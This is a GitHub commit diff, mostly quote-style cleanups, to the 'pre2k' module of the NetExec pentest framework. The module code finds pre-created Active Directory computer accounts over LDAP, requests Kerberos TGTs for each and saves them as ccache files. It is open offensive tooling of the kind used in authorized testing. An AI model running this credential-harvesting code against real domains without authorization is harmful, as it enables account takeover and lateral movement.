Skip to content

Commit db3e792

Browse files
Update pre2k.py
Signed-off-by: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com>
1 parent 56feb10 commit db3e792

1 file changed

Lines changed: 36 additions & 37 deletions

File tree

nxc/modules/pre2k.py

Lines changed: 36 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,16 @@
44
from impacket.krb5.ccache import CCache
55
from impacket.krb5.types import Principal
66
from impacket.krb5 import constants
7-
from binascii import unhexlify
87

98
class NXCModule:
109
"""
1110
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
1211
Module by : @shad0wcntr0ller
1312
1413
"""
15-
name = 'pre2k'
16-
description = 'Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each'
17-
supported_protocols = ['ldap']
14+
name = "pre2k"
15+
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
16+
supported_protocols = ["ldap"]
1817
opsec_safe = True
1918
multiple_hosts = False
2019

@@ -27,18 +26,18 @@ def on_login(self, context, connection):
2726
context.log.info(f"Connecting to LDAP server at ldap://{connection.host}")
2827

2928
if connection.kerberos:
30-
ldap_connection = ldap.LDAPConnection(f'ldap://{connection.host}', connection.baseDN, None)
29+
ldap_connection = ldap.LDAPConnection(f"ldap://{connection.host}", connection.baseDN, None)
3130
ldap_connection.kerberosLogin(connection.username, connection.password, connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost)
3231
else:
33-
ldap_connection = ldap.LDAPConnection(f'ldap://{connection.host}', connection.baseDN, None)
32+
ldap_connection = ldap.LDAPConnection(f"ldap://{connection.host}", connection.baseDN, None)
3433
ldap_connection.login(connection.username, connection.password, connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
3534

3635
# Define the search filter for pre-created computer accounts
37-
search_filter = '(&(objectClass=computer)(userAccountControl=4128))'
38-
attributes = ['sAMAccountName', 'userAccountControl', 'dNSHostName']
36+
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
37+
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
3938

40-
context.log.info(f'Using search filter: {search_filter}')
41-
context.log.info(f'Attributes to retrieve: {attributes}')
39+
context.log.info(f"Using search filter: {search_filter}")
40+
context.log.info(f"Attributes to retrieve: {attributes}")
4241

4342
computers = []
4443

@@ -49,17 +48,17 @@ def on_login(self, context, connection):
4948

5049
for item in search_results:
5150
if isinstance(item, ldapasn1.SearchResultEntry):
52-
context.log.debug(f'Raw item: {item.prettyPrint()}')
51+
context.log.debug(f"Raw item: {item.prettyPrint()}")
5352

5453
sam_account_name = None
5554
user_account_control = None
5655

57-
for attribute in item['attributes']:
58-
context.log.debug(f'Attribute: {attribute.prettyPrint()}')
59-
if str(attribute['type']) == 'sAMAccountName':
60-
sam_account_name = str(attribute['vals'][0])
61-
elif str(attribute['type']) == 'userAccountControl':
62-
user_account_control = str(attribute['vals'][0])
56+
for attribute in item["attributes"]:
57+
context.log.debug(f"Attribute: {attribute.prettyPrint()}")
58+
if str(attribute["type"]) == "sAMAccountName":
59+
sam_account_name = str(attribute["vals"][0])
60+
elif str(attribute["type"]) == "userAccountControl":
61+
user_account_control = str(attribute["vals"][0])
6362

6463
context.log.debug(f"Processing computer: {sam_account_name}, UAC: {user_account_control}")
6564

@@ -69,30 +68,30 @@ def on_login(self, context, connection):
6968
# Check if the account is a pre-created computer account
7069
if user_account_control == 4128: # 4096 | 32
7170
computers.append(sam_account_name)
72-
context.log.debug(f'Added computer: {sam_account_name}')
71+
context.log.debug(f"Added computer: {sam_account_name}")
7372

7473
# Save computers to file
75-
base_dir = '/root/.nxc/DiscoveredComputers'
74+
base_dir = "/root/.nxc/DiscoveredComputers"
7675
domain_dir = os.path.join(base_dir, connection.domain)
77-
output_file = os.path.join(domain_dir, 'precreated_computers.txt')
76+
output_file = os.path.join(domain_dir, "precreated_computers.txt")
7877

7978
# Create directories if they do not exist
8079
os.makedirs(domain_dir, exist_ok=True)
8180

82-
with open(output_file, 'w') as file:
81+
with open(output_file, "w") as file:
8382
for computer in computers:
84-
file.write(f'{computer}\n')
83+
file.write(f"{computer}\n")
8584

8685
# Print discovered pre-created computer accounts
8786
if computers:
8887
for computer in computers:
89-
context.log.highlight(f'Pre-created computer account: {computer}')
90-
context.log.success(f'Found {len(computers)} pre-created computer accounts. Saved to {output_file}')
88+
context.log.highlight(f"Pre-created computer account: {computer}")
89+
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
9190
else:
92-
context.log.info(f'No pre-created computer accounts found.')
91+
context.log.info("No pre-created computer accounts found.")
9392

9493
# Obtain TGTs and save to ccache
95-
ccache_base_dir = '/root/.nxc/ccache'
94+
ccache_base_dir = "/root/.nxc/ccache"
9695
os.makedirs(ccache_base_dir, exist_ok=True)
9796

9897
successful_tgts = 0
@@ -103,16 +102,16 @@ def on_login(self, context, connection):
103102
successful_tgts += 1
104103

105104
# Summary of TGT results
106-
context.log.success(f'Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}')
105+
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
107106

108107
except Exception as e:
109-
context.log.fail(f'Error occurred during search: {e}')
108+
context.log.fail(f"Error occurred during search: {e}")
110109

111110
ldap_connection.close()
112111
return True
113112

114113
except Exception as e:
115-
context.log.fail(f'Error occurred during LDAP connection: {e}')
114+
context.log.fail(f"Error occurred during LDAP connection: {e}")
116115
return False
117116

118117
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
@@ -125,27 +124,27 @@ def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
125124
clientName=userName,
126125
password=password,
127126
domain=domain,
128-
lmhash='',
129-
nthash='',
130-
aesKey='',
127+
lmhash="",
128+
nthash="",
129+
aesKey="",
131130
kdcHost=kdcHost,
132131
serverName=None
133132
)
134133

135134
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
136-
context.log.success(f'Successfully obtained TGT for {username}@{domain}')
135+
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
137136
return True
138137
except Exception as e:
139-
context.log.fail(f'Failed to get TGT for {username}@{domain}: {e}')
138+
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
140139
return False
141140

142141
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
143142
try:
144143
ccache = CCache()
145144
ccache.fromTGT(ticket, sessionKey, sessionKey)
146-
ccache_filename = os.path.join(ccache_base_dir, f'{username}.ccache')
145+
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
147146
ccache.saveFile(ccache_filename)
148-
context.log.info(f'Saved ticket in {ccache_filename}')
147+
context.log.info(f"Saved ticket in {ccache_filename}")
149148
except Exception as e:
150-
context.log.fail(f'Failed to save ticket for {username}: {e}')
149+
context.log.fail(f"Failed to save ticket for {username}: {e}")
151150

0 commit comments

Comments
 (0)